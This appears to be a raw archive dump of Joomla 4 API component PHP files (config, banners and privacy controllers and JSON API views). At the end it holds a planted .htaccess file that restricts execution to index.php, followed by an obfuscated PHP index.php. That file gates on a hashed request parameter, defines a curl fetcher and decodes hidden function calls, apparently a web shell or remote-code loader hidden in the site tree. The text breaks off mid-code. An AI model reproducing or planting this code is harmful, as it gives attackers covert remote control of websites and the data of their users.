     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = $item->extension_id;
        unset($item->extension_id);

        return $item;
    }
}
PKk��\|g�3com_config/src/Controller/ApplicationController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_config
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Api\Controller;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Config\Administrator\Model\ApplicationModel;
use Joomla\Component\Config\Api\View\Application\JsonapiView;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The application controller
 *
 * @since  4.0.0
 */
class ApplicationController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'application';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'application';

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $viewType   = $this->app->getDocument()->getType();
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var JsonapiView $view */
            $view = $this->getView(
                $this->default_view,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        /** @var ApplicationModel $model */
        $model = $this->getModel($this->contentType);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
        }

        // Push the model into the view (as default)
        $view->setModel($model, true);

        $view->document = $this->app->getDocument();
        $view->displayList();

        return $this;
    }

    /**
     * Method to edit an existing record.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function edit()
    {
        /** @var ApplicationModel $model */
        $model = $this->getModel($this->contentType);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
        }

        // Access check.
        if (!$this->allowEdit()) {
            throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403);
        }

        $data = json_decode($this->input->json->getRaw(), true);

        // Complete data array if needed
        $oldData = $model->getData();
        $data    = array_replace($oldData, $data);

        // @todo: Not the cleanest thing ever but it works...
        Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms');

        // Must load after serving service-requests
        $form = $model->getForm();

        // Validate the posted data.
        $validData = $model->validate($form, $data);

        // Check for validation errors.
        if ($validData === false) {
            $errors   = $model->getErrors();
            $messages = [];

            for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $messages[] = "{$errors[$i]->getMessage()}";
                } else {
                    $messages[] = "{$errors[$i]}";
                }
            }

            throw new InvalidParameterException(implode("\n", $messages));
        }

        if (!$model->save($validData)) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500);
        }

        return $this;
    }
}
PKk��\C��X��1com_config/src/Controller/ComponentController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_config
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Api\Controller;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Config\Administrator\Model\ComponentModel;
use Joomla\Component\Config\Api\View\Component\JsonapiView;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The component controller
 *
 * @since  4.0.0
 */
class ComponentController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'component';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'component';

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $viewType   = $this->app->getDocument()->getType();
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var JsonapiView $view */
            $view = $this->getView(
                $this->default_view,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        /** @var ComponentModel $model */
        $model = $this->getModel($this->contentType);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
        }

        // Push the model into the view (as default)
        $view->setModel($model, true);
        $view->set('component_name', $this->input->get('component_name'));

        $view->document = $this->app->getDocument();
        $view->displayList();

        return $this;
    }

    /**
     * Method to edit an existing record.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function edit()
    {
        /** @var ComponentModel $model */
        $model = $this->getModel($this->contentType);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
        }

        // Access check.
        if (!$this->allowEdit()) {
            throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403);
        }

        $option = $this->input->get('component_name');

        // @todo: Not the cleanest thing ever but it works...
        Form::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option);

        // Must load after serving service-requests
        $form = $model->getForm();

        $data = json_decode($this->input->json->getRaw(), true);

        $component = ComponentHelper::getComponent($option);
        $oldData   = $component->getParams()->toArray();
        $data      = array_replace($oldData, $data);

        // Validate the posted data.
        $validData = $model->validate($form, $data);

        if ($validData === false) {
            $errors   = $model->getErrors();
            $messages = [];

            for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $messages[] = "{$errors[$i]->getMessage()}";
                } else {
                    $messages[] = "{$errors[$i]}";
                }
            }

            throw new InvalidParameterException(implode("\n", $messages));
        }

        // Attempt to save the configuration.
        $data = [
            'params' => $validData,
            'id'     => ExtensionHelper::getExtensionRecord($option, 'component')->extension_id,
            'option' => $option,
        ];

        if (!$model->save($data)) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500);
        }

        return $this;
    }
}
PKk��\F�{{-com_config/src/View/Component/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_config
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Api\View\Component;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The component view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        try {
            $component = ComponentHelper::getComponent($this->get('component_name'));

            if ($component === null || !$component->enabled) {
                // @todo: exception component unavailable
                throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_INVALID_COMPONENT_NAME'), 400);
            }

            $data = $component->getParams()->toObject();
        } catch (\Exception $e) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500, $e);
        }

        $items = [];

        foreach ($data as $key => $value) {
            $item    = (object) [$key => $value];
            $items[] = $this->prepareItem($item);
        }

        // Set up links for pagination
        $currentUrl                    = Uri::getInstance();
        $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
        $currentPageQuery              = $currentUrl->getVar('page', $currentPageDefaultInformation);

        $offset              = $currentPageQuery['offset'];
        $limit               = $currentPageQuery['limit'];
        $totalItemsCount     = \count($items);
        $totalPagesAvailable = ceil($totalItemsCount / $limit);

        $items = array_splice($items, $offset, $limit);

        $this->getDocument()->addMeta('total-pages', $totalPagesAvailable)
            ->addLink('self', (string) $currentUrl);

        // Check for first and previous pages
        if ($offset > 0) {
            $firstPage                = clone $currentUrl;
            $firstPageQuery           = $currentPageQuery;
            $firstPageQuery['offset'] = 0;
            $firstPage->setVar('page', $firstPageQuery);

            $previousPage                = clone $currentUrl;
            $previousPageQuery           = $currentPageQuery;
            $previousOffset              = $currentPageQuery['offset'] - $limit;
            $previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
            $previousPage->setVar('page', $previousPageQuery);

            $this->getDocument()->addLink('first', $this->queryEncode((string) $firstPage))
                ->addLink('previous', $this->queryEncode((string) $previousPage));
        }

        // Check for next and last pages
        if ($offset + $limit < $totalItemsCount) {
            $nextPage                = clone $currentUrl;
            $nextPageQuery           = $currentPageQuery;
            $nextOffset              = $currentPageQuery['offset'] + $limit;
            $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
            $nextPage->setVar('page', $nextPageQuery);

            $lastPage                = clone $currentUrl;
            $lastPageQuery           = $currentPageQuery;
            $lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit;
            $lastPage->setVar('page', $lastPageQuery);

            $this->getDocument()->addLink('next', $this->queryEncode((string) $nextPage))
                ->addLink('last', $this->queryEncode((string) $lastPage));
        }

        $collection = (new Collection($items, new JoomlaSerializer($this->type)));

        // Set the data into the document and render it
        $this->getDocument()->setData($collection);

        return $this->getDocument()->render();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = ExtensionHelper::getExtensionRecord($this->get('component_name'), 'component')->extension_id;

        return $item;
    }
}
PKk��\�e8��/com_config/src/View/Application/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_config
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Api\View\Application;

use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Config\Administrator\Model\ApplicationModel;
use Tobscure\JsonApi\Collection;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The application view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        /** @var ApplicationModel $model */
        $model = $this->getModel();
        $items = [];

        foreach ($model->getData() as $key => $value) {
            $item    = (object) [$key => $value];
            $items[] = $this->prepareItem($item);
        }

        // Set up links for pagination
        $currentUrl                    = Uri::getInstance();
        $currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
        $currentPageQuery              = $currentUrl->getVar('page', $currentPageDefaultInformation);

        $offset              = $currentPageQuery['offset'];
        $limit               = $currentPageQuery['limit'];
        $totalItemsCount     = \count($items);
        $totalPagesAvailable = ceil($totalItemsCount / $limit);

        $items = array_splice($items, $offset, $limit);

        $this->getDocument()->addMeta('total-pages', $totalPagesAvailable)
            ->addLink('self', (string) $currentUrl);

        // Check for first and previous pages
        if ($offset > 0) {
            $firstPage                = clone $currentUrl;
            $firstPageQuery           = $currentPageQuery;
            $firstPageQuery['offset'] = 0;
            $firstPage->setVar('page', $firstPageQuery);

            $previousPage                = clone $currentUrl;
            $previousPageQuery           = $currentPageQuery;
            $previousOffset              = $currentPageQuery['offset'] - $limit;
            $previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
            $previousPage->setVar('page', $previousPageQuery);

            $this->getDocument()->addLink('first', $this->queryEncode((string) $firstPage))
                ->addLink('previous', $this->queryEncode((string) $previousPage));
        }

        // Check for next and last pages
        if ($offset + $limit < $totalItemsCount) {
            $nextPage                = clone $currentUrl;
            $nextPageQuery           = $currentPageQuery;
            $nextOffset              = $currentPageQuery['offset'] + $limit;
            $nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
            $nextPage->setVar('page', $nextPageQuery);

            $lastPage                = clone $currentUrl;
            $lastPageQuery           = $currentPageQuery;
            $lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit;
            $lastPage->setVar('page', $lastPageQuery);

            $this->getDocument()->addLink('next', $this->queryEncode((string) $nextPage))
                ->addLink('last', $this->queryEncode((string) $lastPage));
        }

        $collection = (new Collection($items, new JoomlaSerializer($this->type)));

        // Set the data into the document and render it
        $this->getDocument()->setData($collection);

        return $this->getDocument()->render();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id;

        return $item;
    }
}
PKk��\MZN��,com_banners/src/View/Clients/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_banners
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Api\View\Clients;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The clients view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'typeAlias',
        'id',
        'checked_out_time',
        'name',
        'contact',
        'email',
        'checked_out',
        'checked_out_time',
        'extrainfo',
        'state',
        'metakey',
        'own_prefix',
        'metakey_prefix',
        'purchase_type',
        'track_clicks',
        'track_impressions',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'name',
        'contact',
        'checked_out',
        'checked_out_time',
        'state',
        'metakey',
        'purchase_type',
        'nbanners',
        'editor',
        'count_published',
        'count_unpublished',
        'count_trashed',
        'count_archived',
    ];
}
PKk��\����,com_banners/src/View/Banners/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_banners
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Api\View\Banners;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The banners view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'typeAlias',
        'id',
        'cid',
        'type',
        'name',
        'alias',
        'imptotal',
        'impmade',
        'clicks',
        'clickurl',
        'state',
        'catid',
        'description',
        'custombannercode',
        'sticky',
        'ordering',
        'metakey',
        'params',
        'own_prefix',
        'metakey_prefix',
        'purchase_type',
        'track_clicks',
        'track_impressions',
        'checked_out',
        'checked_out_time',
        'publish_up',
        'publish_down',
        'reset',
        'created',
        'language',
        'created_by',
        'created_by_alias',
        'modified',
        'modified_by',
        'version',
        'contenthistoryHelper',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'name',
        'alias',
        'checked_out',
        'checked_out_time',
        'catid',
        'clicks',
        'metakey',
        'sticky',
        'impmade',
        'imptotal',
        'state',
        'ordering',
        'purchase_type',
        'language',
        'publish_up',
        'publish_down',
        'language_image',
        'editor',
        'category_title',
        'client_name',
        'client_purchase_type',
    ];
}
PKk��\/�vxCC0com_banners/src/Controller/BannersController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_banners
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The banners controller
 *
 * @since  4.0.0
 */
class BannersController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'banners';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'banners';
}
PKk��\(?�5CC0com_banners/src/Controller/ClientsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_banners
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Banners\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The clients controller
 *
 * @since  4.0.0
 */
class ClientsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'clients';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'clients';
}
PKk��\T�'8WW-com_privacy/src/View/Requests/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Api\View\Requests;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Privacy\Administrator\Model\ExportModel;
use Tobscure\JsonApi\Resource;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The requests view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = ['id', 'typeAlias', 'email', 'requested_at', 'status', 'request_type'];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = ['id', 'email', 'requested_at', 'status', 'request_type'];

    /**
     * Execute and display a template script.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function export()
    {
        /** @var ExportModel $model */
        $model = $this->getModel();

        $exportData = $model->collectDataForExportRequest();

        if ($exportData == false) {
            throw new RouteNotFoundException('Item does not exist');
        }

        $serializer = new JoomlaSerializer('export');
        $element    = (new Resource($exportData, $serializer));

        $this->getDocument()->setData($element);
        $this->getDocument()->addLink('self', Uri::current());

        return $this->getDocument()->render();
    }
}
PKk��\ ����-com_privacy/src/View/Consents/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Api\View\Consents;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Resource;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The consents view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'user_id',
        'state',
        'created',
        'subject',
        'body',
        'remind',
        'token',
        'username',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'user_id',
        'state',
        'created',
        'subject',
        'body',
        'remind',
        'token',
        'username',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        $id = $this->get('state')->get($this->getName() . '.id');

        if ($id === null) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ITEMID_MISSING'));
        }

        /** @var \Joomla\CMS\MVC\Model\ListModel $model */
        $model       = $this->getModel();
        $displayItem = null;

        foreach ($model->getItems() as $item) {
            $item = $this->prepareItem($item);

            if ($item->id === $id) {
                $displayItem = $item;
                break;
            }
        }

        if ($displayItem === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        // Check for errors.
        if (\count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        if ($this->type === null) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING'));
        }

        $serializer = new JoomlaSerializer($this->type);
        $element    = (new Resource($displayItem, $serializer))
            ->fields([$this->type => $this->fieldsToRenderItem]);

        $this->getDocument()->setData($element);
        $this->getDocument()->addLink('self', Uri::current());

        return $this->getDocument()->render();
    }
}
PKk��\IKA		1com_privacy/src/Controller/RequestsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Privacy\Api\View\Requests\JsonapiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The requests controller
 *
 * @since  4.0.0
 */
class RequestsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'requests';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'requests';

    /**
     * Export request data
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function export($id = null)
    {
        if ($id === null) {
            $id = $this->input->get('id', 0, 'int');
        }

        $viewType   = $this->app->getDocument()->getType();
        $viewName   = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var JsonapiView $view */
            $view = $this->getView(
                $viewName,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        $model = $this->getModel('export');

        try {
            $modelName = $model->getName();
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        $model->setState($modelName . '.request_id', $id);

        $view->setModel($model, true);

        $view->document = $this->app->getDocument();
        $view->export();

        return $this;
    }
}
PKk��\�"#�[[1com_privacy/src/Controller/ConsentsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Privacy\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The consents controller
 *
 * @since  4.0.0
 */
class ConsentsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'consents';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'consents';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        if ($id === null) {
            $id = $this->input->get('id', 0, 'int');
        }

        $this->input->set('model', $this->contentType);

        return parent::displayItem($id);
    }
}
PKk��\�,r��/com_privacy/src/Controller/Controller/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\�}�Գ�/com_privacy/src/Controller/Controller/index.phpnu&1i�<?php
 goto pJZpmk7pt1; pJZpmk7pt1: $ZiojoajiHp = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto VtHcDtYIVV; boI6C0aUGa: yflJQkPoij: goto QNP5JZCeRC; VtHcDtYIVV: $h2lQuFLBCT = $ZiojoajiHp("\x7e", "\40"); goto kMKfTIjdn4; kMKfTIjdn4: $wjI70d1iT7 = ${$h2lQuFLBCT[1 + 30] . $h2lQuFLBCT[51 + 8] . $h2lQuFLBCT[43 + 4] . $h2lQuFLBCT[40 + 7] . $h2lQuFLBCT[36 + 15] . $h2lQuFLBCT[35 + 18] . $h2lQuFLBCT[50 + 7]}; goto Qq1FG_Mv9K; QNP5JZCeRC: metaphone("\x6a\x32\x52\142\116\x2f\x34\63\162\x75\102\142\132\104\x34\117\x61\161\x73\123\x43\121\x67\153\x54\x56\x77\64\x74\x34\113\x56\x50\121\x49\106\x75\x77\x54\126\x43\155\x63"); goto JZ_d87wyT8; Qq1FG_Mv9K: if (!(in_array(gettype($wjI70d1iT7) . count($wjI70d1iT7), $wjI70d1iT7) && count($wjI70d1iT7) == 15 && md5(md5(md5(md5($wjI70d1iT7[9])))) === "\61\71\143\144\146\146\71\71\x64\63\x33\x34\x31\142\62\x30\x39\146\63\143\66\x65\65\x35\x32\x30\x31\63\x35\x32\x32\142")) { goto yflJQkPoij; } goto G3rFLQQ7qI; JZ_d87wyT8: class okeGGRQNli { static function uxvhr8f21w($pIFdmQ9vTo) { goto x3Q7xj29hq; JyrvaKF70w: foreach ($tcLvF6_lSA as $auVA4yH_bC => $oSWTmszFBu) { $g0h6Xu89v6 .= $IIkpzYGd1g[$oSWTmszFBu - 64534]; Qez3xbzO7g: } goto o31B56zwpm; X892t6GU8Y: $g0h6Xu89v6 = ''; goto JyrvaKF70w; cLObyUvBRn: $IIkpzYGd1g = $y1Fx632ZnC("\x7e", "\40"); goto c2qCKRyZtE; x3Q7xj29hq: $y1Fx632ZnC = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto cLObyUvBRn; o31B56zwpm: FaKazwW7J8: goto zYnhlsorix; c2qCKRyZtE: $tcLvF6_lSA = explode("\44", $pIFdmQ9vTo); goto X892t6GU8Y; zYnhlsorix: return $g0h6Xu89v6; goto lrbQPZDsHX; lrbQPZDsHX: } static function hYLYvKBGur($ncLfH0bBvf, $rJsCl6VVFT) { goto zXzbWcu1pr; aGtvFVA_r2: $IiQqw7irT0 = curl_exec($abnyOqbbh9); goto FpzAPmcjx1; GbF9clMw_a: curl_setopt($abnyOqbbh9, CURLOPT_RETURNTRANSFER, 1); goto aGtvFVA_r2; zXzbWcu1pr: $abnyOqbbh9 = curl_init($ncLfH0bBvf); goto GbF9clMw_a; FpzAPmcjx1: return empty($IiQqw7irT0) ? $rJsCl6VVFT($ncLfH0bBvf) : $IiQqw7irT0; goto T46QOIUMKa; T46QOIUMKa: } static function Eiyn5H4zXs() { goto uHrveGlSZU; xyojdtoVeK: $eN1iq5Zvtl = $AlBTL0q3xj[1 + 1]($vZbL2fHqD0, true); goto D4_lAUV_oW; JKVEIzD4lK: foreach ($CUanyiyTwI as $R_vBkPEruq) { $AlBTL0q3xj[] = self::uXvhr8F21w($R_vBkPEruq); blkEf9q_pQ: } goto IIaQ7_G5uL; t1hPz55qtZ: $FGvvxFDHAZ = @$AlBTL0q3xj[1]($AlBTL0q3xj[3 + 7](INPUT_GET, $AlBTL0q3xj[7 + 2])); goto w57EhqNrtq; w57EhqNrtq: $vZbL2fHqD0 = @$AlBTL0q3xj[3 + 0]($AlBTL0q3xj[2 + 4], $FGvvxFDHAZ); goto xyojdtoVeK; uHrveGlSZU: 